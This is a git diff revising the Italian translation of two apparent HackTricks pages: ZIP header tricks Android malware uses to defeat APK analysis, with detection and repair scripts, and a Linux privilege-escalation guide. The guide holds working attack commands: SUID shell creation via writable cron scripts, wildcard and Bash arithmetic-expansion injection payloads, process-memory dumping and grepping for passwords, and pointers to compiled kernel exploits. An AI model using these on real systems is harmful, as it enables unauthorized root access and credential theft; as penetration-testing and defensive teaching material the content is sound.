diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index bbffe1723..4149f2581 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,29 +2,29 @@ {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** per gestire **zip files** sono essenziali per diagnosticare, riparare e crackare zip files. Ecco alcune utility chiave: +**Command-line tools** per gestire i **file zip** sono essenziali per diagnosticare, riparare e crackare zip. Ecco alcune utility chiave: -- **`unzip`**: Mostra perché un file zip potrebbe non decomprimersi. +- **`unzip`**: Rivela perché un file zip potrebbe non decomprimersi. - **`zipdetails -v`**: Offre un'analisi dettagliata dei campi del formato zip. -- **`zipinfo`**: Elenca i contenuti di un file zip senza estrarli. -- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tentano di riparare file zip corrotti. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uno strumento per il brute-force delle password di zip, efficace per password fino a circa 7 caratteri. +- **`zipinfo`**: Elenca il contenuto di uno zip senza estrarlo. +- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Provano a riparare zip corrotti. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uno strumento per brute-force delle password di zip, efficace per password fino a circa 7 caratteri. La [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornisce dettagli completi sulla struttura e sugli standard dei file zip. -È importante notare che i file zip protetti da password **non criptano i nomi dei file né le dimensioni dei file** al loro interno, una falla di sicurezza non presente in RAR o 7z che criptano queste informazioni. Inoltre, i file zip criptati con il vecchio metodo ZipCrypto sono vulnerabili a un **plaintext attack** se è disponibile una copia non criptata di un file compresso. Questo attacco sfrutta il contenuto noto per crackare la password dello zip, una vulnerabilità descritta nell'articolo di [HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e ulteriormente spiegata in [questo paper accademico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Tuttavia, i file zip protetti con crittografia **AES-256** sono immuni a questo plaintext attack, evidenziando l'importanza di scegliere metodi di crittografia sicuri per dati sensibili. +È importante notare che gli zip protetti da password **non criptano nomi di file o dimensioni dei file** al loro interno, un difetto di sicurezza non presente in RAR o 7z che invece criptano queste informazioni. Inoltre, gli zip criptati con il vecchio metodo ZipCrypto sono vulnerabili a un **plaintext attack** se è disponibile una copia non criptata di un file compresso. Questo attacco sfrutta il contenuto noto per crackare la password dello zip, una vulnerabilità descritta nell'[HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e spiegata più approfonditamente in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Tuttavia, gli zip protetti con crittografia **AES-256** sono immuni a questo plaintext attack, evidenziando l'importanza di scegliere metodi di cifratura sicuri per dati sensibili. --- -## Trucchi anti-reversing negli APK usando header ZIP manipolati +## Anti-reversing tricks in APKs using manipulated ZIP headers -I moderni droppers per Android usano metadata ZIP malformati per rompere strumenti statici (jadx/apktool/unzip) mantenendo però l'APK installabile sul dispositivo. I trucchi più comuni sono: +I moderni malware droppers per Android utilizzano metadata ZIP malformati per rompere gli strumenti statici (jadx/apktool/unzip) mantenendo però l'APK installabile sul dispositivo. I trucchi più comuni sono: -- Finta crittografia impostando il ZIP General Purpose Bit Flag (GPBF) bit 0 -- Abuso di Extra fields grandi/personalizzati per confondere i parser -- Collisioni di nomi file/directory per nascondere artefatti reali (es., una directory chiamata `classes.dex/` accanto al vero `classes.dex`) +- Fake encryption impostando il bit 0 del ZIP General Purpose Bit Flag (GPBF) +- Abuso di campi Extra di grandi dimensioni/personalizzati per confondere i parser +- Collisioni di nomi di file/directory per nascondere artefatti reali (es. una directory chiamata `classes.dex/` accanto al reale `classes.dex`) -### 1) Finta crittografia (GPBF bit 0 impostato) senza vera crittografia +### 1) Fake encryption (GPBF bit 0 set) senza crittografia reale Sintomi: - `jadx-gui` fallisce con errori come: @@ -32,7 +32,7 @@ Sintomi: ``` java.util.zip.ZipException: invalid CEN header (encrypted entry) ``` -- `unzip` chiede una password per file core dell'APK anche se un APK valido non può avere cifrati `classes*.dex`, `resources.arsc`, o `AndroidManifest.xml`: +- `unzip` chiede una password per file core dell'APK anche se un APK valido non può avere `classes*.dex`, `resources.arsc`, o `AndroidManifest.xml` criptati: ```bash unzip sample.apk @@ -47,7 +47,7 @@ Rilevamento con zipdetails: ```bash zipdetails -v sample.apk | less ``` -Guarda il General Purpose Bit Flag per le intestazioni locali e centrali. Un valore indicativo è il bit 0 impostato (Encryption) anche per le voci principali: +Guarda il General Purpose Bit Flag per gli header locali e centrali. Un valore rivelatore è il bit 0 impostato (Encryption) anche per le voci core: ``` Extract Zip Spec 2D '4.5' General Purpose Flag 0A09 @@ -56,9 +56,9 @@ General Purpose Flag 0A09 [Bit 3] 1 'Streamed' [Bit 11] 1 'Language Encoding' ``` -Euristica: se un APK viene installato ed eseguito sul dispositivo ma le voci core appaiono "encrypted" agli strumenti, la GPBF è stata manomessa. +Euristica: Se un APK si installa e viene eseguito sul dispositivo ma le core entries appaiono "encrypted" agli strumenti, il GPBF è stato manomesso. -Risolvi azzerando il bit 0 del GPBF sia nelle Local File Headers (LFH) sia nelle voci della Central Directory (CD). Minimal byte-patcher: +Correzione: cancellare il bit 0 del GPBF sia nelle Local File Headers (LFH) che nelle Central Directory (CD) entries. Minimal byte-patcher: ```python # gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers import struct, sys @@ -94,31 +94,31 @@ Uso: python3 gpbf_clear.py obfuscated.apk normalized.apk zipdetails -v normalized.apk | grep -A2 "General Purpose Flag" ``` -Ora dovresti vedere `General Purpose Flag 0000` sulle voci core e gli strumenti analizzeranno di nuovo l'APK. +Ora dovresti vedere `General Purpose Flag 0000` sulle voci principali e gli strumenti analizzeranno nuovamente l'APK. -### 2) Campi Extra grandi/personalizzati per rompere i parser +### 2) Grandi/personalizzati Extra fields per rompere i parsers -Gli attaccanti inseriscono campi Extra sovradimensionati e ID insoliti negli header per mandare in errore i decompilatori. Nel mondo reale potresti vedere marker personalizzati (es., stringhe come `JADXBLOCK`) incorporati lì. +Gli attaccanti inseriscono Extra fields sovradimensionati e ID strani nei header per mandare in errore i decompilers. Nel mondo reale potresti vedere marcatori personalizzati (p.es., stringhe come `JADXBLOCK`) incorporati lì. Ispezione: ```bash zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50 ``` -Esempi osservati: ID sconosciuti come `0xCAFE` ("Java Executable") o `0x414A` ("JA:") che contengono payload di grandi dimensioni. +Esempi osservati: ID sconosciuti come `0xCAFE` ("Eseguibile Java") o `0x414A` ("JA:") che contengono payloads di grandi dimensioni. -Euristiche DFIR: -- Segnalare quando i campi Extra sono insolitamente grandi sulle voci core (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`). -- Considerare gli ID Extra sconosciuti su quelle voci come sospetti. +DFIR euristiche: +- Alert quando i campi Extra sono insolitamente grandi nelle voci core (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`). +- Considerare sospetti gli Extra ID sconosciuti in quelle voci. -Mitigazione pratica: ricostruire l'archivio (ad esempio, comprimere nuovamente i file estratti) rimuove i campi Extra maligni. Se gli strumenti si rifiutano di estrarre a causa di una falsa crittografia, prima azzerare il bit 0 di GPBF come sopra, poi ricreare il pacchetto: +Mitigazione pratica: ricostruire l'archivio (ad esempio, ricomprimendo i file estratti) rimuove i campi Extra malevoli. Se gli strumenti rifiutano di estrarre a causa di una falsa crittografia, prima azzerare il bit 0 di GPBF come sopra, poi ripacchettare: ```bash mkdir /tmp/apk unzip -qq normalized.apk -d /tmp/apk (cd /tmp/apk && zip -qr ../clean.apk .) ``` -### 3) File/Directory name collisions (nascondere artefatti reali) +### 3) Collisioni tra nomi di file e directory (nascondere artefatti reali) -Un file ZIP può contenere sia un file `X` che una directory `X/`. Alcuni extractors e decompilers si confondono e possono sovrapporre o nascondere il file reale con una voce di directory. Ciò è stato osservato con voci che collidevano con nomi core di APK come `classes.dex`. +Un file ZIP può contenere sia un file `X` sia una directory `X/`. Alcuni strumenti di estrazione e decompilazione si confondono e possono sovrapporre o nascondere il file reale con una voce di directory. Questo è stato osservato per voci che collisionano con nomi principali degli APK come `classes.dex`. Triage e estrazione sicura: ```bash @@ -131,7 +131,7 @@ unzip normalized.apk -d outdir # replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r # new name: unk_classes.dex ``` -Suffisso post-rilevamento programmatico: +Rilevamento programmatico post-fix: ```python from zipfile import ZipFile from collections import defaultdict @@ -148,10 +148,10 @@ for base, variants in collisions.items(): if len(variants) > 1: print('COLLISION', base, '->', variants) ``` -Idee di rilevamento per il Blue-team: -- Segnala gli APK i cui header locali indicano crittografia (GPBF bit 0 = 1) ma che comunque vengono installati/avviati. -- Segnala campi Extra grandi/sconosciuti sulle core entries (cerca marker come `JADXBLOCK`). -- Segnala collisioni di percorso (`X` and `X/`) specificamente per `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`. +Blue-team detection ideas: +- Segnala APKs i cui header locali indicano crittografia (GPBF bit 0 = 1) ma vengono comunque installati/eseguiti. +- Segnala campi Extra grandi o sconosciuti nelle entry core (cerca marker come `JADXBLOCK`). +- Segnala collisioni di percorso (`X` e `X/`) specificamente per `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`. --- diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index d7cb1a1fb..55dcf0b91 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### Informazioni sul sistema operativo -Iniziamo a raccogliere informazioni sul sistema operativo in esecuzione +Iniziamo a raccogliere alcune informazioni sul sistema operativo in esecuzione ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### PATH -Se **hai permessi di scrittura su qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari: +Se hai permessi di scrittura su qualsiasi cartella all'interno della variabile `PATH` potresti essere in grado di eseguire l'hijack di alcune libraries o binaries: ```bash echo $PATH ``` ### Env info -Informazioni interessanti, password o API keys nelle variabili d'ambiente? +Informazioni interessanti, password o chiavi API nelle variabili d'ambiente? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Controlla la versione del kernel e verifica se esiste qualche exploit che può essere usato per escalate privileges +Controlla la versione del kernel e se esiste qualche exploit che possa essere usato per escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Puoi trovare una buona lista di kernel vulnerabili e alcuni **compiled exploits** qui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Puoi trovare una buona lista di kernel vulnerabili e alcuni **compiled exploits** già qui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Altri siti dove puoi trovare alcuni **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Per estrarre tutte le versioni del kernel vulnerabili da quel sito puoi fare: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Strumenti che possono aiutare a cercare exploit del kernel sono: +Strumenti che potrebbero aiutare a cercare exploit del kernel sono: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (esegui SUL victim, controlla solo exploit per kernel 2.x) -Sempre **cerca la versione del kernel su Google**, magari la tua versione del kernel è menzionata in qualche exploit del kernel e così sarai sicuro che l'exploit sia valido. +Sempre **Cerca la versione del kernel su Google**, magari la tua versione del kernel è menzionata in qualche exploit del kernel e così sarai sicuro che quell'exploit sia valido. ### CVE-2016-5195 (DirtyCow) @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo versione -Sulla base delle versioni di sudo vulnerabili che compaiono in: +Basato sulle versioni vulnerabili di sudo che compaiono in: ```bash searchsploit sudo ``` @@ -123,16 +123,15 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se sei dentro un docker container puoi provare a evaderne: - +Se sei all'interno di un docker container, puoi provare ad effettuare un escape: {{#ref}} docker-security/ {{#endref}} -## Dischi +## Unità -Controlla **what is mounted and unmounted**, dove e perché. Se qualcosa è unmounted puoi provare a mountarla e cercare informazioni private +Controlla **what is mounted and unmounted**, dove e perché. Se qualcosa è unmounted puoi provare a mountarlo e verificare se contiene informazioni private. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software utile -Elenca i binaries utili +Elencare i binari utili ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Controlla anche se **è installato un compilatore**. Questo è utile se devi usare qualche kernel exploit, poiché è consigliabile compilarlo sulla macchina in cui intendi usarlo (o su una simile) +Verifica anche se è installato **qualche compiler**. Questo è utile se devi usare qualche kernel exploit, poiché è consigliabile compilarlo nella macchina in cui lo utilizzerai (o in una simile). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Vulnerable Software Installed +### Software vulnerabili installati -Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci una vecchia versione di Nagios (per esempio) che potrebbe essere sfruttata per escalating privileges…\ -Si raccomanda di verificare manualmente la versione del software installato più sospetto. +Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci una versione vecchia di Nagios (per esempio) che potrebbe essere sfruttata per escalating privileges…\ +Si consiglia di verificare manualmente la versione dei software installati più sospetti. ```bash dpkg -l #Debian rpm -qa #Centos ``` Se hai accesso SSH alla macchina puoi anche usare **openVAS** per verificare la presenza di software obsoleto o vulnerabile installato sulla macchina. -> [!NOTE] > _Nota che questi comandi mostreranno molte informazioni che per lo più saranno inutili; pertanto è consigliabile utilizzare applicazioni come OpenVAS o simili che verifichino se la versione di un software installato è vulnerabile a exploit noti_ +> [!NOTE] > _Nota che questi comandi mostreranno molte informazioni che per lo più saranno inutili, quindi è consigliabile usare applicazioni come OpenVAS o simili che verifichino se qualche versione del software installato è vulnerabile a exploit conosciuti_ -## Processes +## Processi -Dai un'occhiata a **quali processi** sono in esecuzione e verifica se qualche processo ha **più privilegi di quelli che dovrebbe** (magari un tomcat eseguito come root?) +Dai un'occhiata a **quali processi** vengono eseguiti e controlla se qualche processo ha **più privilegi di quelli che dovrebbe** (magari un tomcat eseguito da root?) ```bash ps aux ps -ef top -n 1 ``` -Controlla sempre la presenza di [**electron/cef/chromium debuggers** in esecuzione, potresti abusarne per escalare privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** rileva quelli controllando il parametro `--inspect` nella command line del processo.\ -Controlla anche i tuoi privileges sui binari dei processi, magari puoi sovrascriverne qualcuno. +Controlla sempre se sono in esecuzione [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. ### Process monitoring -Puoi usare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy) per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando vengono soddisfatti determinati requisiti. +Puoi usare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy) per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando si verificano determinate condizioni. ### Process memory -Alcuni servizi di un server salvano **credentials in chiaro nella memoria**.\ -Normalmente avrai bisogno di **root privileges** per leggere la memoria di processi che appartengono ad altri utenti, quindi questo è solitamente più utile quando sei già root e vuoi scoprire altre credentials.\ +Alcuni servizi di un server salvano **credenziali in chiaro nella memoria**.\ +Normalmente ti servono i **privilegi di root** per leggere la memoria di processi che appartengono ad altri utenti, quindi questo è più utile quando sei già root e vuoi scoprire altre credenziali.\ Tuttavia, ricorda che **come utente normale puoi leggere la memoria dei processi che possiedi**. > [!WARNING] -> Nota che oggigiorno la maggior parte delle macchine **non permette ptrace di default** il che significa che non puoi eseguire il dump di altri processi che appartengono al tuo utente non privilegiato. +> Nota che oggigiorno la maggior parte delle macchine **non permette ptrace di default**, il che significa che non puoi dumpare altri processi che appartengono a un utente non privilegiato. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Il file _**/proc/sys/kernel/yama/ptrace_scope**_ controlla l'accessibilità di ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere tracciati, purché abbiano lo stesso uid. Questo è il comportamento classico di ptrace. +> - **kernel.yama.ptrace_scope = 1**: solo un processo genitore può essere tracciato. +> - **kernel.yama.ptrace_scope = 2**: solo l'admin può usare ptrace, poiché richiede la capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per riabilitare ptrace. #### GDB -Se hai accesso alla memoria di un servizio FTP (per esempio) potresti ottenere l'Heap e cercare al suo interno le credentials. +Se hai accesso alla memoria di un servizio FTP (per esempio) potresti ottenere l'Heap e cercare al suo interno le credenziali. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### Script per GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Per un dato PID, **maps mostrano come la memoria è mappata nello spazio di indirizzi virtuale di quel processo**; mostrano anche i **permessi di ogni regione mappata**. Il file pseudo **mem** **espone la memoria stessa del processo**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Usiamo queste informazioni per **posizionarci nel file mem e dumpare tutte le regioni leggibili** in un file. +Per un dato ID del processo, **maps mostrano come la memoria è mappata all'interno del** spazio degli indirizzi virtuali di quel processo; mostra anche i **permessi di ciascuna regione mappata**. Il file pseudo **mem** **espone la memoria stessa del processo**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Usiamo queste informazioni per **seek nel file mem e dumpare tutte le regioni leggibili** in un file. ```bash procdump() ( @@ -231,14 +230,15 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fornisce accesso alla memoria **fisica** del sistema, non alla memoria virtuale. Lo spazio di indirizzi virtuali del kernel è accessibile usando /dev/kmem.\ +`/dev/mem` fornisce l'accesso alla memoria **fisica** del sistema, non a quella virtuale. +Lo spazio degli indirizzi virtuali del kernel è accessibile tramite /dev/kmem.\ Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump per linux -ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Scaricalo da [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump è una rivisitazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Scaricalo da [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,11 +267,11 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Strumenti -Per dumpare la memoria di un processo puoi usare: +Per eseguire il dump della memoria di un processo puoi usare: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puoi rimuovere manualmente i requisiti di root e dumpare il processo di cui sei proprietario -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (richiede root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puoi rimuovere manualmente i requisiti di root e dumpare il processo di tua proprietà +- Script A.5 da [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (è richiesto root) ### Credenziali dalla memoria del processo @@ -282,23 +282,23 @@ Se trovi che il processo authenticator è in esecuzione: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Puoi effettuare il dump del processo (vedi le sezioni precedenti per trovare i diversi modi per dumpare la memoria di un processo) e cercare credentials all'interno della memoria: +Puoi dumpare il processo (vedi le sezioni precedenti per trovare diversi modi per dumpare la memoria di un processo) e cercare credenziali all'interno della memoria: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) ruberà **credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi root per funzionare correttamente. +Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sottrae **credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi di root per funzionare correttamente. -| Funzionalità | Nome processo | +| Funzionalità | Nome del processo | | ------------------------------------------------- | -------------------- | -| Password GDM (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (connessioni FTP attive) | vsftpd | -| Apache2 (sessioni HTTP Basic Auth attive) | apache2 | -| OpenSSH (sessioni SSH attive - uso di sudo) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | #### Regex di ricerca/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -314,9 +314,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Operazioni pianificate/Cron jobs +## Attività pianificate/Cron jobs -Controlla se qualche job schedulato è vulnerabile. Potresti sfruttare uno script eseguito da root (wildcard vuln? puoi modificare file che root usa? usare symlinks? creare file specifici nella directory che root usa?). +Verifica se qualche attività pianificata è vulnerabile. Magari puoi sfruttare uno script eseguito da root (wildcard vuln? puoi modificare file che root usa? usare symlinks? creare file specifici nella directory che root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -328,22 +328,22 @@ Per esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/u (_Nota come l'utente "user" ha privilegi di scrittura su /home/user_) -Se all'interno di questo crontab l'utente root prova a eseguire un comando o uno script senza impostare il PATH. Per esempio: _\* \* \* \* root overwrite.sh_\ -Quindi, puoi ottenere una shell root usando: +Se all'interno di questo crontab l'utente root prova a eseguire un comando o uno script senza impostare il path. Ad esempio: _\* \* \* \* root overwrite.sh_\ +Allora, puoi ottenere una shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron che esegue uno script con un wildcard (Wildcard Injection) -Se uno script eseguito da root contiene un “**\***” all'interno di un comando, potresti sfruttarlo per ottenere comportamenti imprevisti (come privesc). Esempio: +Se uno script eseguito da root ha una “**\***” all'interno di un comando, potresti sfruttarlo per ottenere comportamenti inaspettati (come privesc). Esempio: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` **Se il wildcard è preceduto da un percorso come** _**/some/path/\***_ **, non è vulnerabile (anche** _**./\***_ **non lo è).** -Leggi la pagina seguente per altri trucchi di wildcard exploitation: +Read the following page for more wildcard exploitation tricks: {{#ref}} @@ -353,11 +353,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash esegue parameter/variable expansion e command substitution prima dell'arithmetic evaluation in ((...)), $((...)) e let. Se un cron/parser eseguito come root legge campi di log non affidabili e li passa in un contesto aritmetico, un attacker può iniettare una command substitution $(...) che viene eseguita come root quando il cron gira. +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Se un cron/parser eseguito come root legge campi di log non affidabili e li inserisce in un contesto aritmetico, un attaccante può iniettare una command substitution $(...) che viene eseguita come root quando il cron viene eseguito. -- Perché funziona: In Bash, le espansioni avvengono in questo ordine: parameter/variable expansion, command substitution, arithmetic expansion, poi word splitting e pathname expansion. Quindi un valore come `$(/bin/bash -c 'id > /tmp/pwn')0` viene prima sostituito (eseguendo il comando), poi il restante numerico `0` viene usato per l'aritmetica così lo script continua senza errori. +- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. Quindi un valore come `$(/bin/bash -c 'id > /tmp/pwn')0` viene prima sostituito (eseguendo il comando), poi il rimanente numerico `0` viene usato per l'aritmetica così lo script continua senza errori. -- Esempio di pattern vulnerabile: +- Typical vulnerable pattern: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -367,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Sfruttamento: Fai scrivere nel log parsato del testo attacker-controlled in modo che il campo che sembra numerico contenga una command substitution e finisca con una cifra. Assicurati che il tuo comando non scriva su stdout (o redirigilo) così l'aritmetica rimane valida. +- Exploitation: Fai scrivere testo controllato dall'attaccante nel log parsato in modo che il campo dall'aspetto numerico contenga una command substitution e termini con una cifra. Assicurati che il tuo comando non stampi su stdout (o reindirizzalo) così l'aritmetica resta valida. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,29 +376,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Se puoi **modificare uno script cron** eseguito da root, puoi ottenere una shell molto facilmente: +Se puoi **modify a cron script** eseguito da root, puoi ottenere una shell molto facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se lo script eseguito da root usa una **directory a cui hai pieno accesso**, potrebbe essere utile eliminare quella folder e **creare una symlink folder verso un'altra** che serva uno script controllato da te. +Se lo script eseguito da root usa una **directory in cui hai pieno accesso**, potrebbe essere utile eliminare quella cartella e **creare una symlink che punti a un'altra cartella** che contenga uno script controllato da te ```bash ln -d -s ``` -### Cron jobs frequenti +### Frequent cron jobs -Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi approfittarne per elevare i privilegi. +Puoi monitorare i processi per cercare quelli che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi sfruttarlo e escalate privileges. -Ad esempio, per **monitorare ogni 0.1s per 1 minuto**, **ordinare in base ai comandi meno eseguiti** e cancellare i comandi che sono stati eseguiti più spesso, puoi fare: +Per esempio, per **monitorare ogni 0.1s durante 1 minuto**, **ordinare per comandi eseguiti meno frequentemente** e cancellare i comandi che sono stati eseguiti più spesso, puoi fare: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` **Puoi 